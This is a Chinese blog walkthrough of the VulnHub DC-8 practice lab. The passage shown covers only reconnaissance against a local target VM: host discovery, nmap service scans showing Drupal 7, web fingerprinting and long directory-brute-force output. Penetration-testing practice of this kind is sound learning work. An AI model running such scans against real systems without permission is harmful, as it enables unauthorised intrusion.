vuInhub靶场实战系列-DC-8实战

最新推荐文章于 2024-06-27 08:04:55 发布
最新推荐文章于 2024-06-27 08:04:55 发布
阅读量1.2k 收藏 27
点赞数 32
分类专栏： vulnhub靶机渗透测试 文章标签： 网络安全 经验分享 程序人生 网络攻击模型 改行学it
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45221204/article/details/139359457
版权

免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关。

目录

前言

今日测试内容渗透dc-8靶机：

Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文将介绍dc-8靶机渗透测试，内容包括nmap扫描、dirsearch目录扫描、漏洞发现，最后系统提权获得flag内容。

Description
Back to the Top
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a “proof of concept” as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The “proof of concept” portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn’t even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it’s definitely there and doing it’s job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

一、环境配置

靶机信息

官方链接https://www.vulnhub.com/entry/dc-8,367/
发布日期2019年9月8日
靶场环境大小379MB
作者DCAU
系列DC
难度★★☆☆☆

渗透测试环境配置，请参考作者前面的内容，不再赘述：

vuInhub靶场实战系列-DC-2实战：https://editor.csdn.net/md/?articleId=139026849

二、信息收集

2.1 主机发现

──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b6:02:f0, IPv4: 192.168.6.66
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.6.1	00:50:56:c0:00:08	VMware, Inc.
192.168.6.2	00:50:56:f5:7b:9f	VMware, Inc.
192.168.6.160	00:0c:29:70:87:1f	VMware, Inc.
192.168.6.254	00:50:56:f0:d3:2b	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.240 seconds (114.29 hosts/sec). 4 responded

得到内网靶机的信息：
IP地址：192.168.6.160
MAC地址：00:0c:29:70:87:1f

2.2 端口扫描

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -oA dc-8 192.168.6.160
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 06:50 EDT
Nmap scan report for 192.168.6.160
Host is up (0.00036s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Apache
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:70:87:1F (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.07 seconds

扫描结果显示：
22端口：SSH服务
80端口：http服务（ Drupal 7）

2.3 指纹识别

──(root㉿kali)-[/home/kali]
└─# whatweb -v 192.168.6.160
WhatWeb report for http://192.168.6.160
Status    : 200 OK
Title     : Welcome to DC-8 | DC-8
IP        : 192.168.6.160
Country   : RESERVED, ZZ

Summary   : Apache, Content-Language[en], Drupal, HTTPServer[Apache], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Script[text/javascript], UncommonHeaders[x-content-type-options,x-generator,link], X-Frame-Options[SAMEORIGIN]

Detected Plugins:
[ Apache ]
	The Apache HTTP Server Project is an effort to develop and 
	maintain an open-source HTTP server for modern operating 
	systems including UNIX and Windows NT. The goal of this 
	project is to provide a secure, efficient and extensible 
	server that provides HTTP services in sync with the current 
	HTTP standards. 

	Google Dorks: (3)
	Website     : http://httpd.apache.org/

[ Content-Language ]
	Detect the content-language setting from the HTTP header. 

	String       : en

[ Drupal ]
	Drupal is an opensource CMS written in PHP. 

	Aggressive function available (check plugin file or details).
	Google Dorks: (1)
	Website     : http://www.drupal.org

[ HTTPServer ]
	HTTP server header string. This plugin also attempts to 
	identify the operating system from the server header. 

	String       : Apache (from server string)

[ JQuery ]
	A fast, concise, JavaScript that simplifies how to traverse 
	HTML documents, handle events, perform animations, and add 
	AJAX. 

	Website     : http://jquery.com/

[ MetaGenerator ]
	This plugin identifies meta generator tags and extracts its 
	value. 

	String       : Drupal 7 (http://drupal.org)

[ Script ]
	This plugin detects instances of script HTML elements and 
	returns the script language/type. 

	String       : text/javascript

[ UncommonHeaders ]
	Uncommon HTTP server headers. The blacklist includes all 
	the standard headers and many non standard but common ones. 
	Interesting but fairly common headers should have their own 
	plugins, eg. x-powered-by, server and x-aspnet-version. 
	Info about headers can be found at www.http-stats.com 

	String       : x-content-type-options,x-generator,link (from headers)

[ X-Frame-Options ]
	This plugin retrieves the X-Frame-Options value from the 
	HTTP header. - More Info: 
	http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
	aspx

	String       : SAMEORIGIN

HTTP Headers:
	HTTP/1.1 200 OK
	Date: Fri, 31 May 2024 10:53:39 GMT
	Server: Apache
	Expires: Sun, 19 Nov 1978 05:00:00 GMT
	Cache-Control: no-cache, must-revalidate
	X-Content-Type-Options: nosniff
	Content-Language: en
	X-Frame-Options: SAMEORIGIN
	X-Generator: Drupal 7 (http://drupal.org)
	Link: </node/1>; rel="canonical",</node/1>; rel="shortlink"
	Vary: Accept-Encoding
	Content-Encoding: gzip
	Content-Length: 2313
	Connection: close
	Content-Type: text/html; charset=utf-8

关键信息：
Apache, Content-Language[en], Drupal, HTTPServer[Apache], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Script[text/javascript], UncommonHeaders[x-content-type-options,x-generator,link], X-Frame-Options[SAMEORIGIN]

2.4 目录扫描

2.4.1 dirbsearch目录扫描

                                                                                                                                                                                                                                   
┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u 192.168.6.160 -e * -x 404
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: 39772.zip | HTTP method: GET | Threads: 25 | Wordlist size: 9481

Output File: /home/kali/reports/_192.168.6.160/_24-05-31_06-54-43.txt

Target: http://192.168.6.160/

[06:54:43] Starting: 
[06:54:47] 403 -  217B  - /%2e%2e;/test                                     
[06:54:54] 403 -  214B  - /1.sql                                            
[06:54:55] 403 -  214B  - /2.sql                                            
[06:54:55] 403 -  217B  - /2010.sql                                         
[06:54:55] 403 -  217B  - /2011.sql                                         
[06:54:55] 403 -  217B  - /2012.sql                                         
[06:54:55] 403 -  217B  - /2013.sql                                         
[06:54:55] 403 -  217B  - /2014.sql                                         
[06:54:55] 403 -  217B  - /2015.sql                                         
[06:54:55] 403 -  217B  - /2016.sql                                         
[06:54:56] 403 -  217B  - /2017.sql                                         
[06:54:56] 403 -  217B  - /2018.sql                                         
[06:54:56] 403 -  217B  - /2019.sql                                         
[06:54:56] 403 -  217B  - /2020.sql                                         
[06:54:58] 403 -  220B  - /_config.inc                                      
[06:55:02] 403 -  221B  - /accounts.sql                                     
[06:55:05] 403 -    7KB - /Admin                                            
[06:55:05] 403 -    7KB - /ADMIN
[06:55:05] 403 -    7KB - /admin                                            
[06:55:05] 403 -    7KB - /admin%20/                                        
[06:55:06] 403 -  222B  - /admin/.config                                    
[06:55:06] 403 -    7KB - /Admin/                                           
[06:55:06] 403 -    7KB - /admin/_logs/access-log
[06:55:06] 403 -    7KB - /admin/%3bindex/                                  
[06:55:06] 403 -    7KB - /admin/                                           
[06:55:07] 403 -    7KB - /admin/_logs/err.log                              
[06:55:07] 403 -    7KB - /admin/_logs/access_log
[06:55:07] 403 -    7KB - /admin/_logs/access.log
[06:55:07] 403 -    7KB - /admin/_logs/error_log
[06:55:07] 403 -    7KB - /admin/admin_login.39772.zip
[06:55:07] 403 -    7KB - /admin/access.log
[06:55:07] 403 -    7KB - /admin/admin-login
[06:55:07] 403 -    7KB - /admin/admin_login
[06:55:07] 403 -    7KB - /admin/account
[06:55:07] 403 -    7KB - /admin/admin.39772.zip
[06:55:07] 403 -    7KB - /admin/adminLogin.39772.zip
[06:55:07] 403 -    7KB - /admin/admin
[06:55:07] 403 -    7KB - /admin/backup/
[06:55:07] 403 -    7KB - /admin/adminLogin
[06:55:07] 403 -    7KB - /admin/backups/
[06:55:07] 403 -    7KB - /admin/config.php
[06:55:07] 403 -    7KB - /admin/_logs/error.log
[06:55:07] 403 -    7KB - /admin/access_log
[06:55:07] 403 -    7KB - /admin/adminer.php
[06:55:07] 403 -    7KB - /admin/admin/login
[06:55:07] 403 -    7KB - /admin/access.txt
[06:55:07] 403 -    7KB - /admin/account.39772.zip
[06:55:07] 403 -    7KB - /admin/admin-login.39772.zip
[06:55:07] 403 -    7KB - /admin/_logs/login.txt
[06:55:07] 403 -    7KB - /admin/controlpanel
[06:55:07] 403 -    7KB - /admin/controlpanel.39772.zip
[06:55:07] 403 -    7KB - /admin/default/login.asp
[06:55:07] 403 -    7KB - /admin/error.log
[06:55:07] 403 -    7KB - /admin/default/admin.asp
[06:55:07] 403 -    7KB - /admin/error_log
[06:55:07] 403 -    7KB - /admin/cp
[06:55:07] 403 -    7KB - /admin/download.php
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php
[06:55:07] 403 -    7KB - /admin/dumper/
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
[06:55:07] 403 -    7KB - /admin/FCKeditor
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/asp/upload.asp
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/asp/connector.asp
[06:55:07] 403 -    7KB - /admin/default
[06:55:07] 403 -    7KB - /admin/db/
[06:55:07] 403 -    7KB - /admin/error.txt
[06:55:07] 403 -    7KB - /admin/data/autosuggest
[06:55:07] 403 -    7KB - /admin/default.asp
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp
[06:55:07] 403 -    7KB - /admin/errors.log
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
[06:55:07] 403 -    7KB - /admin/export.php
[06:55:07] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/aspx/upload.aspx
[06:55:08] 403 -    7KB - /Admin/knowledge/dsmgr/users/UserManager.asp
[06:55:08] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/php/connector.php
[06:55:08] 403 -    7KB - /admin/fckeditor/editor/filemanager/upload/asp/upload.asp
[06:55:08] 403 -    7KB - /admin/files.php
[06:55:08] 403 -    7KB - /admin/fckeditor/editor/filemanager/connectors/php/upload.php
[06:55:08] 403 -    7KB - /admin/file.php
[06:55:08] 403 -    7KB - /Admin/knowledge/dsmgr/users/GroupManager.asp
[06:55:08] 403 -    7KB - /admin/fckeditor/editor/filemanager/upload/aspx/upload.aspx
[06:55:08] 403 -    7KB - /admin/index.39772.zip
[06:55:08] 403 -    7KB - /admin/home.39772.zip
[06:55:08] 403 -    7KB - /admin/fckeditor/editor/filemanager/upload/php/upload.php
[06:55:08] 403 -    7KB - /admin/log/error.log
[06:55:08] 403 -    7KB - /admin/log
[06:55:08] 403 -    7KB - /admin/home
[06:55:08] 403 -    7KB - /admin/js/tiny_mce
[06:55:08] 403 -    7KB - /admin/includes/configure.php~
[06:55:08] 403 -    7KB - /admin/index
[06:55:08] 403 -    7KB - /admin/heapdump
[06:55:08] 403 -    7KB - /admin/index.php
[06:55:08] 403 -    7KB - /admin/js/tinymce
[06:55:08] 403 -    7KB - /admin/js/tinymce/
[06:55:08] 403 -    7KB - /admin/js/tiny_mce/
[06:55:08] 403 -    7KB - /admin/_logs/error-log
[06:55:08] 403 -    7KB - /admin/login.asp
[06:55:08] 403 -    7KB - /admin/login.htm
[06:55:08] 403 -    7KB - /admin/logs/
[06:55:08] 403 -    7KB - /admin/login
[06:55:08] 403 -    7KB - /admin/login.do
[06:55:08] 403 -    7KB - /admin/logs/access-log
[06:55:08] 403 -    7KB - /admin/login.php
[06:55:08] 403 -    7KB - /admin/login.39772.zip
[06:55:08] 403 -    7KB - /admin/logs/login.txt
[06:55:08] 403 -    7KB - /admin/logs/error.log
[06:55:08] 403 -    7KB - /admin/logs/access_log
[06:55:08] 403 -    7KB - /admin/logs/error-log
[06:55:08] 403 -    7KB - /admin/logs/err.log
[06:55:08] 403 -    7KB - /admin/login.html
[06:55:08] 403 -    7KB - /admin/logs/access.log
[06:55:08] 403 -    7KB - /admin/logs/errors.log
[06:55:08] 403 -    7KB - /admin/login.jsp
[06:55:08] 403 -    7KB - /admin/logs/error_log
[06:55:08] 403 -    7KB - /admin/logon.jsp
[06:55:08] 403 -    7KB - /admin/login.rb
[06:55:08] 403 -    7KB - /Admin/login/
[06:55:08] 403 -    7KB - /admin/manage
[06:55:08] 403 -    7KB - /admin/manage.asp
[06:55:08] 403 -    7KB - /admin/phpmyadmin/index.php
[06:55:08] 403 -    7KB - /admin/phpMyAdmin/
[06:55:08] 403 -    7KB - /admin/mysql/index.php
[06:55:08] 403 -    7KB - /admin/mysql/
[06:55:08] 403 -    7KB - /admin/manage/login.asp
[06:55:08] 403 -    7KB - /admin/signin
[06:55:08] 403 -    7KB - /admin/manage/admin.asp
[06:55:08] 403 -    7KB - /admin/phpMyAdmin
[06:55:08] 403 -    7KB - /admin/secure/logon.jsp
[06:55:08] 403 -    7KB - /admin/phpmyadmin/
[06:55:08] 403 -    7KB - /admin/phpMyAdmin/index.php
[06:55:08] 403 -    7KB - /admin/mysql2/index.php
[06:55:08] 403 -    7KB - /admin/portalcollect.php?f=http://xxx&t=js
[06:55:08] 403 -    7KB - /admin/phpmyadmin2/index.php
[06:55:08] 403 -    7KB - /admin/private/logs
[06:55:08] 403 -    7KB - /admin/pol_log.txt
[06:55:08] 403 -    7KB - /admin/PMA/index.php
[06:55:08] 403 -    7KB - /admin/pma/
[06:55:08] 403 -    7KB - /admin/pma/index.php
[06:55:08] 403 -    7KB - /admin/pMA/
[06:55:08] 403 -    7KB - /admin/cp.39772.zip
[06:55:08] 403 -    7KB - /admin/scripts/fckeditor
[06:55:09] 403 -    7KB - /admin/release
[06:55:09] 403 -    7KB - /admin/sqladmin/
[06:55:09] 403 -    7KB - /admin/tinymce
[06:55:09] 403 -    7KB - /admin/upload.php
[06:55:09] 403 -    7KB - /admin/tiny_mce
[06:55:09] 403 -    7KB - /admin/sxd/                                       
[06:55:09] 403 -    7KB - /admin/sysadmin/                                  
[06:55:09] 403 -    7KB - /admin/user_count.txt                             
[06:55:09] 403 -    7KB - /admin/views/ajax/autocomplete/user/a
[06:55:09] 403 -    7KB - /admin/uploads.php                                
[06:55:09] 403 -    7KB - /admin/web/
[06:55:09] 403 -    7KB - /admin/login.py                                   
[06:55:17] 403 -  224B  - /admpar/.ftppass                                  
[06:55:17] 403 -  224B  - /admrev/.ftppass                                  
[06:55:17] 403 -  219B  - /adovbs.inc                                       
[06:55:18] 403 -  223B  - /affiliates.sql                                   
[06:55:21] 403 -  220B  - /archive.sql                                      
[06:55:22] 403 -  217B  - /auth.inc                                         
[06:55:23] 403 -  217B  - /back.sql                                         
[06:55:23] 403 -  219B  - /backup.inc                                       
[06:55:23] 403 -  219B  - /backup.sql                                       
[06:55:23] 403 -    3KB - /authorize.php                                    
[06:55:23] 403 -  220B  - /backups.inc                                      
[06:55:23] 403 -  220B  - /backups.sql                                      
[06:55:25] 403 -  225B  - /bitrix/.settings                                 
[06:55:25] 403 -  229B  - /bitrix/.settings.bak                             
[06:55:25] 403 -  233B  - /bitrix/.settings.php.bak
[06:55:25] 403 -  229B  - /bitrix/.settings.php
[06:55:26] 403 -  217B  - /buck.sql                                         
[06:55:27] 403 -  217B  - /build.sh                                         
[06:55:31] 403 -  220B  - /clients.sql                                      
[06:55:32] 403 -  219B  - /common.inc                                       
[06:55:33] 403 -  222B  - /composer.lock                                    
[06:55:33] 403 -  222B  - /composer.json                                    
[06:55:33] 403 -  221B  - /conf.php.bak                                     
[06:55:33] 403 -  222B  - /conf.inc.php~
[06:55:33] 403 -  221B  - /conf.php.swp                                     
[06:55:34] 403 -  223B  - /config.inc.bak                                   
[06:55:34] 403 -  224B  - /config.inc.php~                                  
[06:55:34] 403 -  220B  - /config.inc~                                      
[06:55:34] 403 -  219B  - /config.inc                                       
[06:55:34] 403 -  223B  - /config.php.inc                                   
[06:55:34] 403 -  223B  - /config.php.bak
[06:55:34] 403 -  224B  - /config.php.inc~                                  
[06:55:34] 403 -  223B  - /config.php.swp                                   
[06:55:34] 403 -  219B  - /config.sql                                       
[06:55:34] 403 -  226B  - /config.local.php~                                
[06:55:34] 403 -  220B  - /config.php~                                      
[06:55:35] 403 -  230B  - /configuration.php.bak                            
[06:55:35] 403 -  231B  - /configuration.inc.php~
[06:55:35] 403 -  230B  - /configuration.php.swp                            
[06:55:35] 403 -  227B  - /configuration.php~
[06:55:36] 403 -  226B  - /configure.php.bak                                
[06:55:36] 403 -  220B  - /connect.inc                                      
[06:55:38] 200 -  769B  - /COPYRIGHT.txt                                    
[06:55:39] 403 -    7KB - /cron.php                                         
[06:55:39] 403 -  216B  - /cron.sh                                          
[06:55:40] 403 -  222B  - /customers.sql                                    
[06:55:40] 403 -  217B  - /data.sql                                         
[06:55:41] 403 -  221B  - /database.inc                                     
[06:55:41] 403 -  221B  - /database.sql
[06:55:41] 403 -  227B  - /database.yml.pgsql                               
[06:55:41] 403 -  222B  - /db-full.mysql                                    
[06:55:41] 403 -  215B  - /db.inc                                           
[06:55:41] 403 -  215B  - /db.sql                                           
[06:55:41] 403 -  233B  - /database_credentials.inc                         
[06:55:42] 403 -  222B  - /db_backup.sql                                    
[06:55:42] 403 -  218B  - /dbase.sql                                        
[06:55:42] 403 -  219B  - /dbdump.sql                                       
[06:55:43] 403 -  218B  - /debug.inc
[06:55:43] 200 -   33KB - /CHANGELOG.txt                                    
[06:55:44] 403 -  220B  - /df_main.sql                                      
[06:55:46] 403 -  217B  - /dump.inc                                         
[06:55:46] 403 -  216B  - /dump.sh                                          
[06:55:46] 403 -  217B  - /dump.sql
[06:55:48] 403 -  218B  - /error.tpl                                        
[06:55:48] 403 -  219B  - /error1.tpl
[06:55:49] 403 -  219B  - /errors.tpl                                       
[06:55:50] 403 -  218B  - /ext/.deps                                        
[06:55:53] 403 -  218B  - /forum.sql                                        
[06:55:54] 403 -  220B  - /globals.inc                                      
[06:56:10] 301 -  238B  - /includes  ->  http://192.168.6.160/includes/     
[06:56:10] 403 -  231B  - /includes/bootstrap.inc
[06:56:10] 403 -  218B  - /includes/
[06:56:10] 403 -  232B  - /includes/configure.php~
[06:56:10] 403 -  228B  - /includes/adovbs.inc
[06:56:10] 403 -  218B  - /index.inc                                        
[06:56:11] 403 -  219B  - /index.php~                                       
[06:56:11] 403 -  222B  - /index.php.bak                                    
[06:56:12] 403 -  220B  - /install.inc                                      
[06:56:12] 403 -  222B  - /INSTALL.mysql
[06:56:12] 403 -  222B  - /install.pgsql
[06:56:12] 403 -  222B  - /INSTALL.pgsql                                    
[06:56:12] 200 -  868B  - /INSTALL.mysql.txt                                
[06:56:12] 403 -  222B  - /install.mysql                                    
[06:56:12] 200 -    1KB - /install.php
[06:56:12] 403 -  220B  - /install.sql                                      
[06:56:13] 200 -    1KB - /install.php?profile=default                      
[06:56:13] 200 -  842B  - /INSTALL.pgsql.txt                                
[06:56:12] 403 -  220B  - /install.tpl                                      
[06:56:15] 200 -    6KB - /INSTALL.txt                                      
[06:56:13] 403 -  250B  - /lib/flex/uploader/.actionScriptProperties        
[06:56:13] 403 -  236B  - /lib/flex/uploader/.settings
[06:56:13] 403 -  242B  - /lib/flex/uploader/.flexProperties
[06:56:13] 403 -  235B  - /lib/flex/uploader/.project
[06:56:13] 403 -  243B  - /lib/flex/varien/.flexLibProperties
[06:56:13] 403 -  248B  - /lib/flex/varien/.actionScriptProperties
[06:56:13] 403 -  233B  - /lib/flex/varien/.project
[06:56:13] 403 -  234B  - /lib/flex/varien/.settings
[06:56:15] 403 -  227B  - /local_conf.php.bak                               
[06:56:15] 403 -  230B  - /localsettings.php.bak                            
[06:56:15] 403 -  222B  - /localhost.sql
[06:56:15] 403 -  227B  - /localsettings.php~                               
[06:56:15] 403 -  230B  - /localsettings.php.swp                            
[06:56:15] 200 -    7KB - /LICENSE.txt                                      
[06:56:17] 403 -  218B  - /ltmain.sh                                        
[06:56:18] 403 -  220B  - /mailer/.env                                      
[06:56:19] 200 -    2KB - /MAINTAINERS.txt                                  
[06:56:21] 403 -  220B  - /members.sql                                      
[06:56:22] 301 -  234B  - /misc  ->  http://192.168.6.160/misc/             
[06:56:23] 301 -  237B  - /modules  ->  http://192.168.6.160/modules/       
[06:56:23] 403 -  217B  - /modules/
[06:56:25] 403 -  218B  - /mysql.sql                                        
[06:56:25] 403 -  224B  - /mysql_debug.sql                                  
[06:56:25] 403 -  222B  - /mysqldump.sql                                    
[06:56:27] 200 -    2KB - /node                                             
[06:56:29] 403 -  219B  - /orders.sql                                       
[06:56:42] 403 -  240B  - /profiles/standard/standard.info                  
[06:56:42] 403 -  238B  - /profiles/testing/testing.info
[06:56:42] 403 -  238B  - /profiles/minimal/minimal.info
[06:56:42] 301 -  238B  - /profiles  ->  http://192.168.6.160/profiles/
[06:56:41] 200 -    2KB - /README.txt                                       
[06:56:42] 403 -  245B  - /resources/.arch-internal-preview.css             
[06:56:42] 403 -  236B  - /resources/sass/.sass-cache/                      
[06:56:42] 403 -  221B  - /revision.inc                                     
[06:56:42] 200 -  744B  - /robots.txt                                       
[06:56:43] 403 -  215B  - /run.sh                                           
[06:56:43] 403 -  218B  - /sales.sql                                        
[06:56:43] 403 -  219B  - /schema.sql                                       
[06:56:43] 301 -  237B  - /scripts  ->  http://192.168.6.160/scripts/       
[06:56:43] 403 -  217B  - /scripts/
[06:56:44] 403 -    7KB - /search                                           
[06:56:44] 403 -    7KB - /Search                                           
[06:56:44] 403 -  222B  - /server-status                                    
[06:56:44] 403 -  223B  - /server-status/
[06:56:46] 403 -  225B  - /settings.php.bak                                 
[06:56:46] 403 -  225B  - /settings.php.swp
[06:56:46] 403 -  222B  - /settings.php~
[06:56:46] 403 -  218B  - /setup.sql                                        
[06:56:47] 403 -  217B  - /shell.sh                                         
[06:56:48] 403 -  217B  - /site.sql                                         
[06:56:49] 301 -  235B  - /sites  ->  http://192.168.6.160/sites/           
[06:56:49] 200 -  129B  - /sites/all/libraries/README.txt                   
[06:56:49] 200 -    0B  - /sites/example.sites.php                          
[06:56:49] 200 -  715B  - /sites/all/modules/README.txt
[06:56:49] 200 -  431B  - /sites/README.txt                                 
[06:56:49] 200 -  545B  - /sites/all/themes/README.txt                      
[06:56:51] 403 -  216B  - /sql.sql                                          
[06:56:51] 403 -  216B  - /sql.inc
[06:56:51] 403 -  220B  - /sqldump.sql                                      
[06:56:52] 403 -  219B  - /startup.sh                                       
[06:56:52] 403 -  217B  - /start.sh                                         
[06:57:08] 403 -  217B  - /temp.sql                                         
[06:57:09] 301 -  236B  - /themes  ->  http://192.168.6.160/themes/         
[06:57:09] 403 -  216B  - /themes/                                          
[06:57:11] 403 -  222B  - /translate.sql                                    
[06:57:12] 403 -  221B  - /twitter/.env                                     
[06:57:13] 403 -    4KB - /update.php                                       
[06:57:14] 200 -    3KB - /UPGRADE.txt                                      
[06:57:14] 403 -    7KB - /user/1                                           
[06:57:14] 403 -    7KB - /user/0                                           
[06:57:14] 403 -    7KB - /user/2                                           
[06:57:15] 200 -    2KB - /user                                             
[06:57:15] 200 -    2KB - /user/login/                                      
[06:57:15] 200 -    2KB - /user/                                            
[06:57:15] 403 -  218B  - /users.sql
[06:57:10] 403 -  215B  - /vb.sql                                           
[06:57:12] 200 -  177B  - /views/ajax/autocomplete/user/a                   
[06:57:16] 200 -    2KB - /web.config                                       
[06:57:16] 403 -  216B  - /web.sql                                          
[06:57:19] 403 -  222B  - /wp-config.inc                                    
[06:57:19] 403 -  226B  - /wp-config.php.bak                                
[06:57:19] 403 -  226B  - /wp-config.php.inc                                
[06:57:19] 403 -  226B  - /wp-config.php.swo                                
[06:57:19] 403 -  226B  - /wp-config.php.swp                                
[06:57:19] 403 -  223B  - /wp-config.php~                                   
[06:57:21] 403 -  216B  - /www.sql                                          
[06:57:22] 403 -  220B  - /wwwroot.sql                                      
[06:57:23] 200 -   42B  - /xmlrpc.php

得到以下关键目录：
/user/login/

3.4.2 gobuster目录扫描

字典很大，需要花费一点点时间，请耐心等待。O(∩_∩)O哈哈~ (3个小时扫描进度约完成70%)

┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.6.160 -t
 30
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.6.160
[+] Method:                  GET
[+] Threads:                 30
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,zip,html
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.6.160/.php                 (Status: 403) [Size: 213]
http://192.168.6.160/.zip                 (Status: 403) [Size: 213]
http://192.168.6.160/search               (Status: 403) [Size: 7032]
http://192.168.6.160/.txt                 (Status: 403) [Size: 213]
http://192.168.6.160/.html                (Status: 403) [Size: 214]
http://192.168.6.160/index.php            (Status: 200) [Size: 7948]
http://192.168.6.160/misc                 (Status: 301) [Size: 234] [--> http://192.168.6.160/misc/]
http://192.168.6.160/themes               (Status: 301) [Size: 236] [--> http://192.168.6.160/themes/]
http://192.168.6.160/0                    (Status: 200) [Size: 7948]
http://192.168.6.160/user                 (Status: 200) [Size: 8518]
http://192.168.6.160/modules              (Status: 301) [Size: 237] [--> http://192.168.6.160/modules/]
http://192.168.6.160/admin                (Status: 403) [Size: 7190]
http://192.168.6.160/scripts              (Status: 301) [Size: 237] [--> http://192.168.6.160/scripts/]
http://192.168.6.160/node                 (Status: 200) [Size: 7203]
http://192.168.6.160/Search               (Status: 403) [Size: 7032]
http://192.168.6.160/sites                (Status: 301) [Size: 235] [--> http://192.168.6.160/sites/]
http://192.168.6.160/includes             (Status: 301) [Size: 238] [--> http://192.168.6.160/includes/]
http://192.168.6.160/install.php          (Status: 200) [Size: 3326]
http://192.168.6.160/profiles             (Status: 301) [Size: 238] [--> http://192.168.6.160/profiles/]
http://192.168.6.160/update.php           (Status: 403) [Size: 4202]
http://192.168.6.160/README.txt           (Status: 200) [Size: 5382]
http://192.168.6.160/robots.txt           (Status: 200) [Size: 2189]
http://192.168.6.160/INSTALL.txt          (Status: 200) [Size: 17995]
http://192.168.6.160/cron.php             (Status: 403) [Size: 7409]
http://192.168.6.160/LICENSE.txt          (Status: 200) [Size: 18092]
http://192.168.6.160/User                 (Status: 200) [Size: 8518]
http://192.168.6.160/Admin                (Status: 403) [Size: 7031]
http://192.168.6.160/Template             (Status: 403) [Size: 217]
http://192.168.6.160/CHANGELOG.txt        (Status: 200) [Size: 114096]
http://192.168.6.160/xmlrpc.php           (Status: 200) [Size: 42]
http://192.168.6.160/COPYRIGHT.txt        (Status: 200) [Size: 1481]
http://192.168.6.160/batch                (Status: 403) [Size: 7325]
http://192.168.6.160/SEARCH               (Status: 403) [Size: 7032]
http://192.168.6.160/Repository           (Status: 403) [Size: 219]
http://192.168.6.160/.txt                 (Status: 403) [Size: 213]
http://192.168.6.160/.php                 (Status: 403) [Size: 213]
http://192.168.6.160/.html                (Status: 403) [Size: 214]
http://192.168.6.160/.zip                 (Status: 403) [Size: 213]
http://192.168.6.160/Tag                  (Status: 403) [Size: 212]
http://192.168.6.160/UPGRADE.txt          (Status: 200) [Size: 10123]
http://192.168.6.160/server-status        (Status: 403) [Size: 222]
http://192.168.6.160/Node                 (Status: 200) [Size: 7203]
Progress: 726856 / 1102805 (65.91%)[ERROR] Get "http://192.168.6.160/86181": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
